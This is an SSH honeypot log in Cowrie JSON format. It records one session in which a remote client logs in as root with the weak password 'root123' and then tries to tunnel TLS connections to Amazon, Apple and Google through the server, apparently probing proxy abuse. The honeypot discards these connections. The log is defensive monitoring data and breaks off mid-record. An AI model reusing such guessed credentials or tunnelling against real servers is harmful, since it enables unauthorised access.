{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:52:15.258373Z","src_ip":"80.94.95.118","session":"3f370bc4d471","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:52:15.360196Z","src_ip":"80.94.95.118","session":"3f370bc4d471","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"root123","message":"login attempt [root/root123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:52:15.852555Z","src_ip":"80.94.95.118","session":"3f370bc4d471","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"34.251.25.101","dst_port":443,"src_ip":"80.94.95.118","src_port":38780,"message":"direct-tcp connection request to 34.251.25.101:443 from 127.0.0.1:38780","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:52:18.240656Z","session":"3f370bc4d471","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"34.251.25.101","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 34.251.25.101:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:52:19.332663Z","src_ip":"80.94.95.118","session":"3f370bc4d471","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"34.251.25.101","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb2\\x8a\\xe3D\\x03!\\xc9\\xe4\\xb9\\xa6\\xf1dQ\\xbf\\xf6\\xb6\\x17\\xd8\\xc6\\x06\\xa4\\xd8\\xb9\\x80\\xd1tIHy@\\xb4\\x87 \\xd2E\\xa4\\xf3\\xa9g{\\xd7\\xf1\\x18[\\x02l\\xd9\\xd3i,\\xa9 T\\x94\\xa5\\x97jti\\xf8\\x9f|\\xb1\\xfe\\x91\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x8c\\x96n\\xd6`\\x1d\\xadH\\xf3:\\xe9d\\xa1\\xdf\\x00y\\xa3\\xafZ\\xbf\\xdd7\\xde\\xfc\\xe8\\xf6+\\xfa\\xc9\\xb1\\t,\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 34.251.25.101:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb2\\x8a\\xe3D\\x03!\\xc9\\xe4\\xb9\\xa6\\xf1dQ\\xbf\\xf6\\xb6\\x17\\xd8\\xc6\\x06\\xa4\\xd8\\xb9\\x80\\xd1tIHy@\\xb4\\x87 \\xd2E\\xa4\\xf3\\xa9g{\\xd7\\xf1\\x18[\\x02l\\xd9\\xd3i,\\xa9 T\\x94\\xa5\\x97jti\\xf8\\x9f|\\xb1\\xfe\\x91\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x8c\\x96n\\xd6`\\x1d\\xadH\\xf3:\\xe9d\\xa1\\xdf\\x00y\\xa3\\xafZ\\xbf\\xdd7\\xde\\xfc\\xe8\\xf6+\\xfa\\xc9\\xb1\\t,\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:52:19.335960Z","src_ip":"80.94.95.118","session":"3f370bc4d471","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"2.17.96.230","dst_port":443,"src_ip":"80.94.95.118","src_port":39294,"message":"direct-tcp connection request to 2.17.96.230:443 from 127.0.0.1:39294","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:52:20.338915Z","session":"3f370bc4d471","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"2.17.96.230","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 2.17.96.230:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:52:21.252716Z","src_ip":"80.94.95.118","session":"3f370bc4d471","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"2.17.96.230","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc9\\xf5\\xe8\\x8aa\\x81\\x95\\xc1\\xbe\\x14>|\\x87\\xb7\\xd9T\\x96F\\xf6!d\\xb3\\x03\\x97Q\\x81\\x8eu\\x82\\x1eX\\x10 ^\\x9d\\xa6\\xf8\\xf4\\xb7o\\x16\\xa9G\\tVM\\xee\\x93w\\x9b\\x03\\x82\\x84\\xfa\\xd5\"\\xd3\\xde\\xea\\xbeW\\xce\\xe5\\xd3\\x13\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xdf\\xa1\\x16a\\x0c\\xd7[&_\\x116\\xd6\\xba:Z9\\xa6\\x8c5\\x94,xf\\x965\\xd3\\x13/\\xd3@\\xd6e\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 2.17.96.230:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc9\\xf5\\xe8\\x8aa\\x81\\x95\\xc1\\xbe\\x14>|\\x87\\xb7\\xd9T\\x96F\\xf6!d\\xb3\\x03\\x97Q\\x81\\x8eu\\x82\\x1eX\\x10 ^\\x9d\\xa6\\xf8\\xf4\\xb7o\\x16\\xa9G\\tVM\\xee\\x93w\\x9b\\x03\\x82\\x84\\xfa\\xd5\"\\xd3\\xde\\xea\\xbeW\\xce\\xe5\\xd3\\x13\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xdf\\xa1\\x16a\\x0c\\xd7[&_\\x116\\xd6\\xba:Z9\\xa6\\x8c5\\x94,xf\\x965\\xd3\\x13/\\xd3@\\xd6e\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:52:21.256378Z","src_ip":"80.94.95.118","session":"3f370bc4d471","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.38.196","dst_port":443,"src_ip":"80.94.95.118","src_port":40298,"message":"direct-tcp connection request to 142.251.38.196:443 from 127.0.0.1:40298","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:52:25.153866Z","session":"3f370bc4d471","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.38.196","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.38.196:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:52:26.115202Z","src_ip":"80.94.95.118","session":"3f370bc4d471","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.38.196","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03D\\x94\\xedEU\\xb1f\\xff\\xe3\\xd1hI\\xb5\\xa9\\x9b\\xfa*rq\\x9f\\x83\\xe8\\xc9h\\x0f9\\xcf\\xcb\\xb5\\xc6\\x9d\\x01 \\x80\\xc5fA\\xc0\\xad\\x97\\xb8\\x0c\\xa7\\x0e\\xaa:\\x96\\xae\\x84q\\xc5\\x90\\x19\\xa2\\xacT\\xef\\x87\\x98<\\xef+oS\\x9b\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 ;\\xfa\\x08kD\\xa0Y\\x11\\t\\xf1~\\x1fOQ\\xc1Y\\x95\\x98\\\\L1\\x86kpC\\xda\\xccf\\xed>\\xe3\\x1b\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.38.196:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03D\\x94\\xedEU\\xb1f\\xff\\xe3\\xd1hI\\xb5\\xa9\\x9b\\xfa*rq\\x9f\\x83\\xe8\\xc9h\\x0f9\\xcf\\xcb\\xb5\\xc6\\x9d\\x01 \\x80\\xc5fA\\xc0\\xad\\x97\\xb8\\x0c\\xa7\\x0e\\xaa:\\x96\\xae\\x84q\\xc5\\x90\\x19\\xa2\\xacT\\xef\\x87\\x98<\\xef+oS\\x9b\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 ;\\xfa\\x08kD\\xa0Y\\x11\\t\\xf1~\\x1fOQ\\xc1Y\\x95\\x98\\\\L1\\x86kpC\\xda\\xccf\\xed>\\xe3\\x1b\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:52:26.119020Z","src_ip":"80.94.95.118